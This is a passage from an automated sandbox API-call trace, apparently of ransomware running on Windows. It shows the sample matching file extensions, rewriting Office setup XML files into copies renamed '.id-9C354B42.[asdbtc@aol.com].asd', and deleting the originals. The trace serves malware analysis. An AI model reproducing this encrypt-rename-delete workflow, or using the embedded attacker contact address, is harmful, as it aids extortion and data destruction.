Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString=".doc") returned 4 [0048.982] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString=".docx") returned 5 [0048.982] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0048.982] lstrlenW (lpString=".pdf") returned 4 [0048.982] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString=".xls") returned 4 [0048.983] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.983] lstrlenW (lpString=".xlsx") returned 5 [0048.983] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0048.983] lstrlenW (lpString=".ppt") returned 4 [0048.983] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.983] lstrlenW (lpString=".zip") returned 4 [0048.983] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.983] lstrlenW (lpString=".rar") returned 4 [0048.983] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.983] lstrlenW (lpString=".bz2") returned 4 [0048.983] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.983] lstrlenW (lpString=".7z") returned 3 [0048.983] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.983] lstrlenW (lpString=".dbf") returned 4 [0048.983] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.983] lstrlenW (lpString=".1cd") returned 4 [0048.983] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.983] lstrlenW (lpString=".jpg") returned 4 [0048.983] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.983] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.984] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0048.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.068] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5557) returned 1 [0050.070] CloseHandle (hObject=0x1f0) returned 1 [0050.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0050.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.079] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.079] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.079] GetLastError () returned 0x0 [0050.079] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0050.082] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0050.083] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.083] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0050.083] SetEndOfFile (hFile=0x204) returned 1 [0050.083] CloseHandle (hObject=0x204) returned 1 [0050.088] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.088] SetEndOfFile (hFile=0x1f0) returned 1 [0050.089] CloseHandle (hObject=0x1f0) returned 1 [0050.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.089] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.089] lstrlenW (lpString=".doc") returned 4 [0050.090] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString=".docx") returned 5 [0050.090] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.090] lstrlenW (lpString=".pdf") returned 4 [0050.090] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString=".xls") returned 4 [0050.090] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString=".xlsx") returned 5 [0050.090] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.090] lstrlenW (lpString=".ppt") returned 4 [0050.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.090] lstrlenW (lpString=".zip") returned 4 [0050.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.090] lstrlenW (lpString=".rar") returned 4 [0050.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString=".bz2") returned 4 [0050.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString=".7z") returned 3 [0050.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.090] lstrlenW (lpString=".dbf") returned 4 [0050.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.090] lstrlenW (lpString=".1cd") returned 4 [0050.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.090] lstrlenW (lpString=".jpg") returned 4 [0050.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.091] lstrlenW (lpString=".doc") returned 4 [0050.091] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString=".docx") returned 5 [0050.091] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.091] lstrlenW (lpString=".pdf") returned 4 [0050.091] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString=".xls") returned 4 [0050.091] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString=".xlsx") returned 5 [0050.091] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.091] lstrlenW (lpString=".ppt") returned 4 [0050.091] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.091] lstrlenW (lpString=".zip") returned 4 [0050.091] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.091] lstrlenW (lpString=".rar") returned 4 [0050.091] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString=".bz2") returned 4 [0050.091] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString=".7z") returned 3 [0050.091] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.091] lstrlenW (lpString=".dbf") returned 4 [0050.091] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.091] lstrlenW (lpString=".1cd") returned 4 [0050.091] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0050.092] lstrlenW (lpString=".jpg") returned 4 [0050.092] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.092] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.092] lstrlenW (lpString="Office32WW.XML") returned 14 [0050.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.092] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4274) returned 1 [0050.092] CloseHandle (hObject=0x1f0) returned 1 [0050.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0050.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.093] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.093] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.093] GetLastError () returned 0x0 [0050.093] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0050.095] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0050.096] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.096] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.096] SetEndOfFile (hFile=0x204) returned 1 [0050.096] CloseHandle (hObject=0x204) returned 1 [0050.097] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.097] SetEndOfFile (hFile=0x1f0) returned 1 [0050.098] CloseHandle (hObject=0x1f0) returned 1 [0050.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString=".doc") returned 4 [0050.099] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString=".docx") returned 5 [0050.099] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.099] lstrlenW (lpString=".pdf") returned 4 [0050.099] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString=".xls") returned 4 [0050.099] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString=".xlsx") returned 5 [0050.099] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.099] lstrlenW (lpString=".ppt") returned 4 [0050.099] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString=".zip") returned 4 [0050.099] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.099] lstrlenW (lpString=".rar") returned 4 [0050.099] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString=".bz2") returned 4 [0050.099] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString=".7z") returned 3 [0050.099] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString=".dbf") returned 4 [0050.099] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString=".1cd") returned 4 [0050.099] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.099] lstrlenW (lpString=".jpg") returned 4 [0050.100] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString=".doc") returned 4 [0050.100] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString=".docx") returned 5 [0050.100] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.100] lstrlenW (lpString=".pdf") returned 4 [0050.100] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString=".xls") returned 4 [0050.100] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString=".xlsx") returned 5 [0050.100] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.100] lstrlenW (lpString=".ppt") returned 4 [0050.100] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString=".zip") returned 4 [0050.100] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.100] lstrlenW (lpString=".rar") returned 4 [0050.100] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString=".bz2") returned 4 [0050.100] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString=".7z") returned 3 [0050.100] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString=".dbf") returned 4 [0050.100] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString=".1cd") returned 4 [0050.100] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.100] lstrlenW (lpString=".jpg") returned 4 [0050.100] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.101] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.101] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0050.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.101] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1606) returned 1 [0050.101] CloseHandle (hObject=0x1f0) returned 1 [0050.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0050.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.101] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.102] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.103] GetLastError () returned 0x0 [0050.103] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x646, lpOverlapped=0x0) returned 1 [0050.105] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0050.106] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.107] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.107] SetEndOfFile (hFile=0x204) returned 1 [0050.107] CloseHandle (hObject=0x204) returned 1 [0050.108] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.108] SetEndOfFile (hFile=0x1f0) returned 1 [0050.108] CloseHandle (hObject=0x1f0) returned 1 [0050.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.109] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0050.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.109] lstrlenW (lpString=".doc") returned 4 [0050.109] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.109] lstrlenW (lpString=".docx") returned 5 [0050.109] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.109] lstrlenW (lpString=".pdf") returned 4 [0050.109] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.109] lstrlenW (lpString=".xls") returned 4 [0050.109] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.109] lstrlenW (lpString=".xlsx") returned 5 [0050.109] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.110] lstrlenW (lpString=".ppt") returned 4 [0050.110] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString=".zip") returned 4 [0050.110] lstrcmpiW 